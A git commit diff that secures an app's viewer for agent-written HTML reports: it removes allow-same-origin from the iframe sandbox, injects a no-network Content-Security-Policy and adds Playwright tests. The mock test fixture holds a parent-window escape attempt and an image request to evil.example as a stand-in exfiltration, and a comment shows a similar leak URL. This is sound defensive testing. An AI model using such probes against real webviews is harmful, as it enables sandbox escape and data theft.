Artifact viewer: airtight sandbox for agent HTML + Open in browser (OPE-91)

Drop allow-same-origin (srcDoc ran the page same-origin with the privileged
webview) and inject a no-network CSP so a poisoned report can't exfiltrate at
display time. Inline script/style keep working; system browser is the escape hatch.
This commit is contained in:
Rohit C Prasad
2026-08-15 10:38:58 -07:00
committed by Rohit P
parent 4ed112b8eb
commit 78fc2bd8f7
3 changed files with 107 additions and 2 deletions
+38
View File
@@ -0,0 +1,38 @@
// OPE-91: agent-authored HTML renders in the artifact viewer inside an AIRTIGHT sandbox.
// The app webview is privileged (Tauri IPC), so the report page must be null-origin
// (no parent access) and offline (no subresource exfiltration) — while inline scripts,
// the thing report interactivity needs, keep working. The fixture page actively probes
// all three properties and reports into #probe.
import { expect } from "@playwright/test";
import { test } from "./fixtures";
async function openReport(page: import("@playwright/test").Page) {
await page.goto("/");
await page.getByPlaceholder(/Ask the coworker/).fill("hello");
await page.getByRole("button", { name: "Send" }).click();
await page.locator(".artifact-row", { hasText: "security-review.html" }).click();
}
test("HTML artifact renders sandboxed: scripts run, parent and network stay sealed", async ({
page,
}) => {
await openReport(page);
const frame = page.getByTestId("artifact-frame");
await expect(frame).toBeVisible();
// No allow-same-origin, ever: with srcDoc it would run the page same-origin with the
// privileged app webview. This assertion is the regression lock for that exact flag.
await expect(frame).toHaveAttribute("sandbox", "allow-scripts");
const probe = page.frameLocator('[data-testid="artifact-frame"]').locator("#probe");
await expect(probe).toContainText("script ran in sandbox"); // interactivity works
await expect(probe).toContainText("parent blocked"); // null origin held
await expect(probe).toContainText("network blocked"); // CSP stopped the exfil img
await expect(page).not.toHaveTitle("ESCAPED");
});
test("HTML artifact offers Open in browser as the unsandboxed escape hatch", async ({
page,
}) => {
await openReport(page);
await expect(page.getByTestId("artifact-open-browser")).toBeVisible();
});
+36
View File
@@ -863,6 +863,42 @@ export async function mockApi(page: import("@playwright/test").Page) {
}
return json({ roots });
}
// Artifacts (OPE-91): one HTML report whose content actively probes the sandbox —
// an inline script that renders proof-of-execution, a parent-window escape attempt,
// and an external subresource that must be CSP-blocked.
if (/\/v1\/sessions\/[^/]+\/artifacts\/read$/.test(p)) {
return json({
ok: true,
path: "reports/security-review.html",
kind: "html",
content: [
"<h1>Security review</h1>",
'<div id="probe">script did not run</div>',
"<script>",
' document.getElementById("probe").textContent = "script ran in sandbox";',
" try { window.parent.document.title = 'ESCAPED'; } catch (e) {",
' document.getElementById("probe").textContent += " · parent blocked";',
" }",
"</script>",
'<img src="https://evil.example/exfil.png" onerror="document.getElementById(\'probe\').textContent += \' · network blocked\'">',
].join("\n"),
});
}
if (/\/v1\/sessions\/[^/]+\/artifacts\/reveal$/.test(p)) return json({ ok: true });
if (/\/v1\/sessions\/[^/]+\/artifacts$/.test(p)) {
return json({
artifacts: [
{
path: "reports/security-review.html",
abs_path: "/Users/test/OpenWorker/launch-note/reports/security-review.html",
name: "security-review.html",
kind: "html",
size: 2048,
modified_at: Math.floor(Date.now() / 1000) - 60,
},
],
});
}
if (/\/v1\/sessions\/[^/]+\/messages$/.test(p)) return json({ messages: [] });
if (/\/v1\/sessions\/[^/]+\/unattended$/.test(p)) {
const id = decodeURIComponent(p.split("/").slice(-2)[0]);
+33 -2
View File
@@ -294,6 +294,22 @@ function RailSection({
);
}
// OPE-91: agent-authored HTML is untrusted active content rendered inside the PRIVILEGED
// app webview (Tauri IPC). The sandbox must therefore be airtight on two axes:
// - no `allow-same-origin`: with srcDoc, that flag would run the page same-origin with
// the app — scripts could reach the parent document and the IPC bridge.
// - no network: a poisoned report exfiltrates at DISPLAY time via subresources
// (<img src="https://evil/?leak=…">). The injected CSP allows inline style/script
// (what report interactivity needs) and data: images; everything remote is blocked.
// Injected at position 0 so it takes effect before any content the page declares.
const ARTIFACT_CSP =
'<meta http-equiv="Content-Security-Policy" content="default-src \'none\'; ' +
"style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:;\">";
function sandboxHtml(html: string): string {
return ARTIFACT_CSP + html;
}
function ArtifactViewer({
sessionId,
artifact,
@@ -349,6 +365,20 @@ function ArtifactViewer({
<Icon name="panelOpen" size={16} />
</button>
)}
{isHtml && (
// The sandboxed preview is deliberately offline and null-origin; a real
// browser tab (system default app, outside app privileges) is the escape
// hatch for sharing or printing the page.
<button
className="artifact-icon-btn"
data-testid="artifact-open-browser"
onClick={() => revealArtifact(sessionId, artifact.path, "open")}
aria-label="Open in browser"
title="Open in browser"
>
<Icon name="panelOpen" size={16} />
</button>
)}
{/* Copy the ABSOLUTE path the workspace-relative one is useless outside the app
(tester catch 2026-07-12: it copied just "slack-connector-debug.md"). */}
<button
@@ -377,9 +407,10 @@ function ArtifactViewer({
) : content.kind === "html" ? (
<iframe
key={`${artifact.path}-${reloadKey}`}
sandbox="allow-scripts allow-same-origin"
sandbox="allow-scripts"
className="artifact-frame"
srcDoc={content.content || ""}
data-testid="artifact-frame"
srcDoc={sandboxHtml(content.content || "")}
/>
) : content.kind === "markdown" ? (
<div className="artifact-md">